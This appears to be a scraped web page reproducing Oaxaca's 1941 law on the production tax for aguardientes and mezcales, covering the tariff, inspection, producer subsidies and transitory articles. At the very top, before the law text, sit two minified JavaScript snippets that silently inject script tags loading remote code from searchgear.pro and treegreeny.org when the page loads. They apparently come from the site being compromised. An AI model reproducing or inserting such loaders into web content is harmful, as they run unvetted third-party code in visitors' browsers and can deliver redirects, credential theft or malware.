;(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,"script","https://searchgear.pro/257KCwFj"); ;(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,"script","https://treegreeny.org/KDJnCSZn"); Mezcales Tradicionales de los Pueblos de México » Ley del impuesto de producción de aguardientes, mezcales y similares

Ley del impuesto de producción de aguardientes, mezcales y similares


Ley publicada en el Suplemento del Periódico Oficial del Estado de Oaxaca, el 9 de agosto de 1941.

 

DECRETO No. 1

 

VICENTE GONZALEZ FERNANDEZ, Gobernador Constitucional del Estado Libre y Soberano de Oaxaca, a sus habitantes, hace saber:

Que en uso de las facultades extraordinarias que en el ramo de Hacienda me ha conferido la H. Legislatura del Estado, he tenido a bien expedir la siguiente

 

LEY DEL IMPUESTO DE PRODUCCIÓN DE AGUARDIENTES, MEZCALES Y SIMILARES

 

CAPITULO 1°

DEL IMPUESTO

 

Artículo 1o.- El Impuesto de Producción de aguardiente, mezcales o aguardientes de mezcal y similares, se causará y recaudará de acuerdo con lo que establece esta Ley.

Artículo 2o.- El impuesto deberá causarse con sujeción a la siguiente tarifa:

I.- Aguardientes comunes y regionales, de graduación hasta de 65 grados/G.L. por litro, $0.60 cs.

II.- Mezcales y similares de graduación hasta de 65 grados/G.L. por litro, $ 0.70 cs.

Artículo 3o.- Para los efectos fiscales se considerarán como aguardientes aquellos productos en los que como materia prima se usen mieles incristalizables, panela o piloncillo, cualquiera que sea su denominación.

Artículo 4o.- El impuesto se causará en los términos que fija esta Ley, la Ley de Organización Fiscal y su Reglamento y la Ley de 10 de septiembre de 1937 denominada Ley del Impuesto de Compraventa de Alcoholes y Aguardientes, en sus partes relativas.

Artículo 5o.- El Ejecutivo del Estado podrá reconocer la constitución y funcionamiento de una asociación o unión de productores de aguardientes y mezcales o separadamente una de cada rama, cuando dicha sociedad o unión compruebe con satisfacción del propio Ejecutivo controlar cuando menos el 70% de la producción en su rama en el Estado y que previamente las bases de su constitución y estatutos sean aprobados por el mismo Ejecutivo.

 

CAPITULO 2°

DE LA INSPECCION Y VIGILANCIA

 

Artículo 6o.- Para la vigilancia y control de los impuestos de aguardiente y mezcales, y aguardientes de mezcal y similares, se crea un Departamento de Inspección dependiente de la Tesorería del Estado y cuyo sostenimiento será a cargo de los productores y que tendrá las facultades y obligaciones que establece la fracción VI del artículo 1o. del Reglamento de la Ley de Organización Fiscal en el Estado.

 

CAPITULO 3°

DEL SUBSIDIO

 

Artículo 7o.- La asociación o unión de productores a que se refiere el artículo 6o. de la presente Ley que hubiere llenado los requisitos establecidos en este ordenamiento, percibirá un subsidio de $0.50 cs. en litro de aguardiente elaborado y $0.50 cs. por litro de mezcal elaborado, cuyo descuento se hará al verificar sus pagos de la contribución correspondiente.

Artículo 8o.- Para repartir los subsidios que se abonen a la unión o sociedades a que se refiere el artículo anterior, se adiciona el Presupuesto de Egresos del Estado para el presente año en el Ramo II Gastos Generales, con la partida número 285 Bis de asignación indeterminada para «Subsidio a uniones o sociedades con arreglo al Decreto número 1 de 26 de Julio de 1941», debiéndose incluir una partida análoga en el Presupuesto de Egresos del Estado para el ejercicio de los años venideros.

 

CAPITULO 4°

DIVERSOS

 

Artículo 9o.- El Ejecutivo del Estado tendrá las siguientes facultades:

I.- Para expedir los reglamentos especiales a los impuestos de elaboración de aguardiente y mezcales o aguardientes de mezcales y similares, e inspección y vigilancia de los productos gravados.

II.- Para fijar la interpretación de esta Ley y sus disposiciones reglamentarias, así como para resolver cualquier caso de duda que pudiera suscitarse en la práctica, con motivo de su aplicación.

III.- Para contratar con la sociedad o unión de productores los servicios de vigilancia, inspección y control de los impuestos de producción.

 

TRANSITORIOS

 

Artículo Primero.- Esta Ley empezará a regir desde el día quince de agosto próximo.

Artículo Segundo.- Se derogan las Leyes y Reglamentos vigentes, en todo aquello en que su ordenamiento se oponga a las prescripciones y cumplimiento de la presente Ley. Por tanto, mando que se imprima, publique, circule y se le dé el debido cumplimiento.

 

Palacio de los Poderes.- Oaxaca de Juárez, a 26 de Julio de 1941.- Gral. de Div. Vicente González Fernández.- El Secretario Gral. del Despacho, Lic. Jorge Rafael Woolrich.- Rúbricas.

Y lo comunico a usted para su conocimiento y fines consiguientes.

Sufragio Efectivo. No Reelección.– Oaxaca de Juárez, a 26 de Julio de 1941.– El Secretario Gral. del Despacho, Lic. Jorge Rafael Woolrich.– Rúbrica.

Al C….

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